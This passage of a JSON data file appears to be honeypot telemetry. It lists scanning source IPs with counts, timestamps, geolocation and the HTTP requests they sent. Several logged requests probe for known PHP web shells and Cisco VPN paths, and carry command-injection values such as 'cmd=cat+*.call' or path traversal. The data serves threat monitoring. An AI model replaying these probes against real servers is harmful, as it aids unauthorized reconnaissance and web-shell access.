      "last_seen": "2026-03-18T07:51:41.462Z",
      "ports": [],
      "event_types": [
        "\"GET /lang/custom/sbin/init HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Cazadero",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "34.226.195.14": {
      "attack_count": 1,
      "first_seen": "2026-03-15T00:54:36.768Z",
      "last_seen": "2026-03-15T00:54:36.768Z",
      "ports": [],
      "event_types": [
        "\"GET /favicon.ico HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc."
    },
    "43.248.109.239": {
      "attack_count": 1,
      "first_seen": "2026-03-08T09:35:46.191Z",
      "last_seen": "2026-03-08T09:35:46.191Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/favicon.ico HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone"
    },
    "62.60.131.163": {
      "attack_count": 1,
      "first_seen": "2026-03-17T08:21:28.702Z",
      "last_seen": "2026-03-17T08:21:28.702Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "Iran",
      "country_code": "IR",
      "city": "Tehran",
      "asn": 208137,
      "as_org": "Feo Prest SRL"
    },
    "64.62.156.136": {
      "attack_count": 1,
      "first_seen": "2026-03-31T10:15:23.156Z",
      "last_seen": "2026-03-31T10:15:23.156Z",
      "ports": [],
      "event_types": [
        "\"GET /static/lang/custom/sbin/init HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Minneapolis",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "64.62.156.198": {
      "attack_count": 1,
      "first_seen": "2026-03-07T03:06:47.985Z",
      "last_seen": "2026-03-07T03:06:47.985Z",
      "ports": [],
      "event_types": [
        "\"GET /lang//custom/sbin/init HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Minneapolis",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "64.62.156.200": {
      "attack_count": 1,
      "first_seen": "2026-03-07T03:05:20.290Z",
      "last_seen": "2026-03-07T03:05:20.290Z",
      "ports": [],
      "event_types": [
        "\"GET /favicon.ico HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Minneapolis",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "64.62.156.211": {
      "attack_count": 1,
      "first_seen": "2026-03-09T09:57:11.647Z",
      "last_seen": "2026-03-09T09:57:11.647Z",
      "ports": [],
      "event_types": [
        "\"GET /lang/custom/sbin/init HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Minneapolis",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "64.62.156.223": {
      "attack_count": 1,
      "first_seen": "2026-03-22T07:40:27.363Z",
      "last_seen": "2026-03-22T07:40:27.363Z",
      "ports": [],
      "event_types": [
        "\"GET /static/lang//custom/sbin/init HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Minneapolis",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "64.62.156.229": {
      "attack_count": 1,
      "first_seen": "2026-03-22T07:40:08.576Z",
      "last_seen": "2026-03-22T07:40:08.576Z",
      "ports": [],
      "event_types": [
        "\"GET /lang//custom/sbin/init HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Minneapolis",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "65.49.1.27": {
      "attack_count": 1,
      "first_seen": "2026-03-10T09:47:45.504Z",
      "last_seen": "2026-03-10T09:47:45.504Z",
      "ports": [],
      "event_types": [
        "\"GET /lang//custom/sbin/init HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "65.49.1.45": {
      "attack_count": 1,
      "first_seen": "2026-03-24T07:42:03.112Z",
      "last_seen": "2026-03-24T07:42:03.112Z",
      "ports": [],
      "event_types": [
        "\"GET /static/lang//custom/sbin/init HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "74.82.47.25": {
      "attack_count": 1,
      "first_seen": "2026-03-08T03:02:35.621Z",
      "last_seen": "2026-03-08T03:02:35.621Z",
      "ports": [],
      "event_types": [
        "\"GET /lang/custom/sbin/init HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "East White Plains",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "74.82.47.44": {
      "attack_count": 1,
      "first_seen": "2026-03-25T10:00:04.990Z",
      "last_seen": "2026-03-25T10:00:04.990Z",
      "ports": [],
      "event_types": [
        "\"GET /static/lang//custom/sbin/init HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Gunnison",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "74.82.47.49": {
      "attack_count": 1,
      "first_seen": "2026-03-08T03:02:54.713Z",
      "last_seen": "2026-03-08T03:02:54.713Z",
      "ports": [],
      "event_types": [
        "\"GET /static/lang/custom/sbin/init HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "East White Plains",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "74.82.47.57": {
      "attack_count": 1,
      "first_seen": "2026-03-17T07:46:03.541Z",
      "last_seen": "2026-03-17T07:46:03.541Z",
      "ports": [],
      "event_types": [
        "\"GET /lang/custom/sbin/init HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Gunnison",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "84.32.48.104": {
      "attack_count": 1,
      "first_seen": "2026-03-31T18:34:16.005Z",
      "last_seen": "2026-03-31T18:34:16.005Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Chicago",
      "asn": 204770,
      "as_org": "UAB Cherry Servers"
    },
    "85.217.140.47": {
      "attack_count": 1,
      "first_seen": "2026-03-06T08:23:07.209Z",
      "last_seen": "2026-03-06T08:23:07.209Z",
      "ports": [],
      "event_types": [
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "France",
      "country_code": "FR",
      "city": "Gravelines",
      "asn": 209334,
      "as_org": "Modat B.V."
    },
    "85.239.146.30": {
      "attack_count": 1,
      "first_seen": "2026-03-17T08:19:48.301Z",
      "last_seen": "2026-03-17T08:19:48.301Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "Sweden",
      "country_code": "SE",
      "city": "Stockholm",
      "asn": 209896,
      "as_org": "Contrust Solutions S.R.L."
    },
    "91.196.152.127": {
      "attack_count": 1,
      "first_seen": "2026-03-12T12:52:43.409Z",
      "last_seen": "2026-03-12T12:52:43.409Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "France",
      "country_code": "FR",
      "city": "Roubaix",
      "asn": 213412,
      "as_org": "ONYPHE SAS"
    },
    "91.196.152.66": {
      "attack_count": 1,
      "first_seen": "2026-03-26T21:40:17.603Z",
      "last_seen": "2026-03-26T21:40:17.603Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -"
      ],
      "usernames_attempted": [],
      "country": "France",
      "country_code": "FR",
      "city": "Roubaix",
      "asn": 213412,
      "as_org": "ONYPHE SAS"
    },
    "91.230.168.26": {
      "attack_count": 1,
      "first_seen": "2026-03-08T15:52:13.184Z",
      "last_seen": "2026-03-08T15:52:13.184Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Hillsboro",
      "asn": 213412,
      "as_org": "ONYPHE SAS"
    },
    "98.81.212.27": {
      "attack_count": 1,
      "first_seen": "2026-03-12T00:50:14.372Z",
      "last_seen": "2026-03-12T00:50:14.372Z",
      "ports": [],
      "event_types": [
        "\"GET /robots.txt HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc."
    },
    "98.89.3.242": {
      "attack_count": 1,
      "first_seen": "2026-03-31T00:58:45.265Z",
      "last_seen": "2026-03-31T00:58:45.265Z",
      "ports": [],
      "event_types": [
        "\"GET /favicon.ico HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc."
    },
    "173.239.240.145": {
      "attack_count": 786,
      "first_seen": "2026-03-04T23:42:42.304Z",
      "last_seen": "2026-03-28T07:59:03.357Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Edison",
      "asn": 396356,
      "as_org": "Latitude.sh"
    },
    "43.132.207.18": {
      "attack_count": 52,
      "first_seen": "2026-03-04T01:00:55.992Z",
      "last_seen": "2026-03-26T00:34:00.780Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/common.js HTTP/1.1\" 404 -",
        "\"GET /+CSCOE+/home/index.html HTTP/1.1\" 200 -",
        "\"GET /+CSCOE+/login.html HTTP/1.1\" 404 -",
        "\"GET /+CSCOE+/logout.html HTTP/1.1\" 404 -",
        "\"GET /+CSCOE+/save_capture.html HTTP/1.1\" 404 -",
        "\"GET /+CSCOE+/sdesktop/logout.html HTTP/1.1\" 404 -",
        "\"GET /+CSCOL+/Java.jar HTTP/1.1\" 404 -",
        "\"GET /+CSCOL+/csvrloader.jar HTTP/1.1\" 404 -",
        "\"GET /+CSCOL+/csvrloader64.cab HTTP/1.1\" 404 -",
        "\"GET /+CSCOU+/MacTunnelStart.jar HTTP/1.1\" 404 -",
        "\"GET /+CSCOU+/csco_logo.gif HTTP/1.1\" 404 -",
        "\"GET /+CSCOU+/info.jpg HTTP/1.1\" 404 -",
        "\"GET /CSCOSSLC/cvcconfig HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue"
    },
    "118.194.251.246": {
      "attack_count": 32,
      "first_seen": "2026-03-17T18:54:02.798Z",
      "last_seen": "2026-03-31T18:00:45.975Z",
      "ports": [],
      "event_types": [
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /+CSCOE+/blank.html HTTP/1.1\" 200 -",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"GET /config.json HTTP/1.1\" 404 -",
        "\"GET /favicon.ico HTTP/1.1\" 404 -",
        "\"GET /robots.txt HTTP/1.1\" 404 -",
        "\"GET /sitemap.xml HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "Thailand",
      "country_code": "TH",
      "city": "Bangkok",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED"
    },
    "46.151.178.13": {
      "attack_count": 31,
      "first_seen": "2026-03-25T13:42:32.442Z",
      "last_seen": "2026-03-31T21:04:39.318Z",
      "ports": [],
      "event_types": [
        "\"PROPFIND / HTTP/1.1\" - -"
      ],
      "usernames_attempted": [],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": null,
      "asn": 211443,
      "as_org": "Sino Worldwide Trading Limited"
    },
    "185.246.188.74": {
      "attack_count": 22,
      "first_seen": "2026-03-08T20:50:03.993Z",
      "last_seen": "2026-03-08T20:56:12.490Z",
      "ports": [],
      "event_types": [
        "\"GET /1.php?badr HTTP/1.1\" 404 -",
        "\"GET /nigga/ari.conf HTTP/1.1\" 404 -",
        "\"GET /panel/atmin/config.php?aca HTTP/1.1\" 404 -",
        "\"GET /panel/main.php?11 HTTP/1.1\" 404 -",
        "\"GET /panel/main.php?126 HTTP/1.1\" 404 -",
        "\"GET /panel/main.php?x HTTP/1.1\" 404 -",
        "\"GET /panel/main.php?x3 HTTP/1.1\" 404 -",
        "\"GET /recordings/Ultimatex.php?ed3b0941a97e7f9=admin&asd HTTP/1.1\" 404 -",
        "\"GET /recordings/miscconfig.all.php? HTTP/1.1\" 404 -",
        "\"GET /recordings/miscconfig.all.php?x HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "Netherlands",
      "country_code": "NL",
      "city": null,
      "asn": 200651,
      "as_org": "FlokiNET ehf"
    },
    "45.156.128.174": {
      "attack_count": 22,
      "first_seen": "2026-03-31T12:44:36.168Z",
      "last_seen": "2026-03-31T12:49:50.793Z",
      "ports": [],
      "event_types": [
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /WebInterface/ HTTP/1.1\" 404 -",
        "\"GET /console HTTP/1.1\" 404 -",
        "\"GET /jasperserverTest/login.html HTTP/1.1\" 404 -",
        "\"GET /js/NewWindow_2_all.js HTTP/1.1\" 404 -",
        "\"GET /license.txt HTTP/1.1\" 404 -",
        "\"GET /login.html HTTP/1.1\" 404 -",
        "\"GET /metrics HTTP/1.1\" 404 -",
        "\"GET /php/login.php HTTP/1.1\" 404 -",
        "\"GET /wp-json HTTP/1.1\" 404 -",
        "\"GET /xmldata?item=all HTTP/1.1\" 404 -",
        "\"GET /zabbix/favicon.ico HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "Portugal",
      "country_code": "PT",
      "city": null,
      "asn": 211680,
      "as_org": "Sistemas Informaticos, S.A."
    },
    "185.220.100.255": {
      "attack_count": 18,
      "first_seen": "2026-03-08T20:54:52.792Z",
      "last_seen": "2026-03-08T21:03:22.734Z",
      "ports": [],
      "event_types": [
        "\"GET /.1767de7680e3992aa99b451b57af68c6.php? HTTP/1.1\" 404 -",
        "\"GET /Bo.php? HTTP/1.1\" 404 -",
        "\"GET /_asterisk/config.all.php? HTTP/1.1\" 404 -",
        "\"GET /admin/.1767de7680e3992aa99b451b57af68c6.php? HTTP/1.1\" 404 -",
        "\"GET /admin/modules/?npv HTTP/1.1\" 404 -",
        "\"GET /admin/modules/_cache/?npv HTTP/1.1\" 404 -",
        "\"GET /panel/phpversions.php?npv HTTP/1.1\" 404 -",
        "\"GET /recordings/.1767de7680e3992aa99b451b57af68c6.php? HTTP/1.1\" 404 -",
        "\"GET /recordings/a8a.php?c=cat+a8a.php& HTTP/1.1\" 404 -",
        "\"GET /recordings/atmin/config.php? HTTP/1.1\" 404 -",
        "\"GET /recordings/awael/config.php? HTTP/1.1\" 404 -",
        "\"GET /recordings/b374k-2.8.php? HTTP/1.1\" 404 -",
        "\"GET /recordings/badr2.php? HTTP/1.1\" 404 -",
        "\"GET /recordings/ops.php?45xx HTTP/1.1\" 404 -",
        "\"GET /recordings/phpversions.php?npv HTTP/1.1\" 404 -",
        "\"GET /x.php? HTTP/1.1\" 404 -",
        "\"GET /xx.php?x123wx HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "Germany",
      "country_code": "DE",
      "city": "Ha\u00dffurt",
      "asn": 205100,
      "as_org": "F3 Netze e.V."
    },
    "152.32.197.159": {
      "attack_count": 16,
      "first_seen": "2026-03-24T19:14:52.650Z",
      "last_seen": "2026-03-24T19:15:40.051Z",
      "ports": [],
      "event_types": [
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /+CSCOE+/blank.html HTTP/1.1\" 200 -",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"GET /config.json HTTP/1.1\" 404 -",
        "\"GET /favicon.ico HTTP/1.1\" 404 -",
        "\"GET /robots.txt HTTP/1.1\" 404 -",
        "\"GET /sitemap.xml HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "Brazil",
      "country_code": "BR",
      "city": "S\u00e3o Paulo",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED"
    },
    "152.32.206.181": {
      "attack_count": 16,
      "first_seen": "2026-03-02T18:43:31.543Z",
      "last_seen": "2026-03-02T18:44:15.260Z",
      "ports": [],
      "event_types": [
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /+CSCOE+/blank.html HTTP/1.1\" 200 -",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"GET /config.json HTTP/1.1\" 404 -",
        "\"GET /favicon.ico HTTP/1.1\" 404 -",
        "\"GET /robots.txt HTTP/1.1\" 404 -",
        "\"GET /sitemap.xml HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Reston",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED"
    },
    "152.32.206.247": {
      "attack_count": 16,
      "first_seen": "2026-03-26T18:42:14.431Z",
      "last_seen": "2026-03-26T18:42:58.379Z",
      "ports": [],
      "event_types": [
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /+CSCOE+/blank.html HTTP/1.1\" 200 -",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"GET /config.json HTTP/1.1\" 404 -",
        "\"GET /favicon.ico HTTP/1.1\" 404 -",
        "\"GET /robots.txt HTTP/1.1\" 404 -",
        "\"GET /sitemap.xml HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Reston",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED"
    },
    "165.154.138.151": {
      "attack_count": 16,
      "first_seen": "2026-03-29T19:01:13.864Z",
      "last_seen": "2026-03-29T19:01:58.396Z",
      "ports": [],
      "event_types": [
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /+CSCOE+/blank.html HTTP/1.1\" 200 -",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"GET /config.json HTTP/1.1\" 404 -",
        "\"GET /favicon.ico HTTP/1.1\" 404 -",
        "\"GET /robots.txt HTTP/1.1\" 404 -",
        "\"GET /sitemap.xml HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED"
    },
    "165.154.182.221": {
      "attack_count": 16,
      "first_seen": "2026-03-15T19:27:34.844Z",
      "last_seen": "2026-03-15T19:28:16.484Z",
      "ports": [],
      "event_types": [
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /+CSCOE+/blank.html HTTP/1.1\" 200 -",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"GET /config.json HTTP/1.1\" 404 -",
        "\"GET /favicon.ico HTTP/1.1\" 404 -",
        "\"GET /robots.txt HTTP/1.1\" 404 -",
        "\"GET /sitemap.xml HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED"
    },
    "45.84.107.172": {
      "attack_count": 15,
      "first_seen": "2026-03-08T20:53:04.587Z",
      "last_seen": "2026-03-08T20:57:31.902Z",
      "ports": [],
      "event_types": [
        "\"GET /api.php? HTTP/1.1\" 404 -",
        "\"GET /graph.php?module=upload&1133 HTTP/1.1\" 404 -",
        "\"GET /main.php?15t HTTP/1.1\" 404 -",
        "\"GET /main.php?24e HTTP/1.1\" 404 -",
        "\"GET /main.php?hf5 HTTP/1.1\" 404 -",
        "\"GET /main.php?xqw HTTP/1.1\" 404 -",
        "\"GET /z.php?pass=angel HTTP/1.1\" 404 -",
        "\"GET /zz.php.call HTTP/1.1\" 404 -",
        "\"POST /api.php??act=cmd HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "Sweden",
      "country_code": "SE",
      "city": null,
      "asn": 214503,
      "as_org": "QuxLabs AB"
    },
    "45.156.128.175": {
      "attack_count": 14,
      "first_seen": "2026-03-31T12:44:05.911Z",
      "last_seen": "2026-03-31T12:46:18.091Z",
      "ports": [],
      "event_types": [
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /cgi-bin/authLogin.cgi HTTP/1.1\" 404 -",
        "\"GET /favicon.ico HTTP/1.1\" 404 -",
        "\"GET /jasperserver-pro/login.html HTTP/1.1\" 404 -",
        "\"GET /owncloud/status.php HTTP/1.1\" 404 -",
        "\"GET /status.php HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "Portugal",
      "country_code": "PT",
      "city": null,
      "asn": 211680,
      "as_org": "Sistemas Informaticos, S.A."
    },
    "64.62.156.212": {
      "attack_count": 14,
      "first_seen": "2026-03-02T02:39:14.498Z",
      "last_seen": "2026-03-02T02:44:59.004Z",
      "ports": [],
      "event_types": [
        "\"GET /api/v2/static/not.found HTTP/1.1\" 404 -",
        "\"GET /fonts/ftnt-icons.woff HTTP/1.1\" 404 -",
        "\"GET /login?redir=/ng HTTP/1.1\" 404 -",
        "\"GET /migadmin/lang/legacy/legacy/filechecksum HTTP/1.1\" 404 -",
        "\"GET /remote/logincheck HTTP/1.1\" 404 -",
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /+CSCOL+/csvrloader.jar HTTP/1.1\" 404 -",
        "\"GET /lang//custom/sbin/init HTTP/1.1\" 404 -",
        "\"GET /lang/legacy/filechecksum HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Minneapolis",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "65.49.1.24": {
      "attack_count": 13,
      "first_seen": "2026-03-10T09:43:40.813Z",
      "last_seen": "2026-03-10T09:49:33.892Z",
      "ports": [],
      "event_types": [
        "\"GET /api/v2/static/not.found HTTP/1.1\" 404 -",
        "\"GET /login?redir=/ng HTTP/1.1\" 404 -",
        "\"GET /migadmin/lang/legacy/legacy/filechecksum HTTP/1.1\" 404 -",
        "\"GET /remote/logincheck HTTP/1.1\" 404 -",
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /+CSCOL+/csvrloader.jar HTTP/1.1\" 404 -",
        "\"GET /fonts/ftnt-icons.woff HTTP/1.1\" 404 -",
        "\"GET /lang//custom/sbin/init HTTP/1.1\" 404 -",
        "\"GET /lang/legacy/filechecksum HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "139.180.164.187": {
      "attack_count": 12,
      "first_seen": "2026-03-23T15:57:32.688Z",
      "last_seen": "2026-03-23T16:12:36.089Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /+CSCOL+/Java.jar HTTP/1.1\" 404 -",
        "\"GET /+CSCOL+/csvrmon.jar HTTP/1.1\" 404 -",
        "\"GET /+CSCOU+/../+CSCOL+/csvrmon.jar HTTP/1.1\" 404 -",
        "\"GET /+CSCOU+//../+CSCOL+/csvrmon.jar HTTP/1.1\" 404 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "Australia",
      "country_code": "AU",
      "city": "Sydney",
      "asn": 20473,
      "as_org": "The Constant Company, LLC"
    },
    "45.84.107.128": {
      "attack_count": 12,
      "first_seen": "2026-03-08T20:50:15.821Z",
      "last_seen": "2026-03-08T20:52:29.066Z",
      "ports": [],
      "event_types": [
        "\"GET /Z3R0-C00L.php? HTTP/1.1\" 404 -",
        "\"GET /Z3R0-C00l.php.call?cmd=cat+*.call HTTP/1.1\" 404 -",
        "\"GET /_asterisk/253582e2ec168f76c0d4755668192ea4fdad110fe4dee9.php?mada=cat+253582e2ec168f76c0d4755668192ea4fdad110fe4dee9.php& HTTP/1.1\" 404 -",
        "\"GET /_asterisk/MeSSi.php?casd HTTP/1.1\" 404 -",
        "\"GET /_asterisk/sos.php?asdw HTTP/1.1\" 404 -",
        "\"GET /admin/assets/Xiii.php?yokyok=cat+Xiii.php& HTTP/1.1\" 404 -",
        "\"GET /admin/modules/admindashboard/phpsysinfo/ass.php? HTTP/1.1\" 404 -",
        "\"GET /admin/modules/phpinf/page.phpinf.php?komand=cat+page.phpinf.php&1 HTTP/1.1\" 404 -",
        "\"GET /admin/modules/vmblast/ajax.php HTTP/1.1\" 404 -",
        "\"GET /assets/Xiii.php?yokyok=cat+Xiii.php& HTTP/1.1\" 404 -",
        "\"GET /test.php?wqe HTTP/1.1\" 404 -",
        "\"GET /vamp.php?c=cat+vamp.php& HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "Sweden",
      "country_code": "SE",
      "city": null,
      "asn": 214503,
      "as_org": "QuxLabs AB"
    },
    "204.137.14.106": {
      "attack_count": 11,
      "first_seen": "2026-03-08T20:52:09.194Z",
      "last_seen": "2026-03-08T20:52:39.486Z",
      "ports": [],
      "event_types": [
        "\"GET /a2billing/ws.php?caw HTTP/1.1\" 404 -",
        "\"GET /admin/fortest.php?xa HTTP/1.1\" 404 -",
        "\"GET /emad.php?45qw HTTP/1.1\" 404 -",
        "\"GET /panel/fortest.php?wd HTTP/1.1\" 404 -",
        "\"GET /recordings/lol.php?31asd HTTP/1.1\" 404 -",
        "\"GET /recordings/play_page.php?qwe HTTP/1.1\" 404 -",
        "\"GET /recordings/pos.php?ca HTTP/1.1\" 404 -",
        "\"GET /recordings/sall123.php?qwe HTTP/1.1\" 404 -",
        "\"GET /var/config.php?z1 HTTP/1.1\" 404 -",
        "\"GET /var/mod_conf.php?c99shcook[login]=0 HTTP/1.1\" 404 -",
        "\"GET /wso.php?a&a HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "Netherlands",
      "country_code": "NL",
      "city": "Eygelshoven",
      "asn": 399820,
      "as_org": "SPARKED HOST LLC"
    },
    "185.220.100.254": {
      "attack_count": 10,
      "first_seen": "2026-03-08T20:55:51.383Z",
      "last_seen": "2026-03-08T20:58:22.725Z",
      "ports": [],
      "event_types": [
        "\"GET /aastra/config.all.php? HTTP/1.1\" 404 -",
        "\"GET /admin/assets/config.all.php? HTTP/1.1\" 404 -",
        "\"GET /admin/cdr/config.all.php? HTTP/1.1\" 404 -",
        "\"GET /admin/common/config.all.php? HTTP/1.1\" 404 -",
        "\"GET /admin/config.all.php? HTTP/1.1\" 404 -",
        "\"GET /admin/helpers/config.all.php? HTTP/1.1\" 404 -",
        "\"GET /admin/i18n/config.all.php? HTTP/1.1\" 404 -",
        "\"GET /recordings/main.php?22 HTTP/1.1\" 404 -",
        "\"GET /recordings/main.php?3q HTTP/1.1\" 404 -",
        "\"GET /recordings/main.php?x3 HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "Germany",
      "country_code": "DE",
      "city": null,
      "asn": 205100,
      "as_org": "F3 Netze e.V."
    },
    "115.231.78.15": {
      "attack_count": 9,
      "first_seen": "2026-03-10T09:52:44.104Z",
      "last_seen": "2026-03-10T09:53:19.121Z",
      "ports": [],
      "event_types": [
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"GET /favicon.ico HTTP/1.1\" 404 -",
        "\"GET /robots.txt HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 58461,
      "as_org": "CT-HangZhou-IDC"
    },
    "80.67.172.162": {
      "attack_count": 8,
      "first_seen": "2026-03-08T20:55:40.378Z",
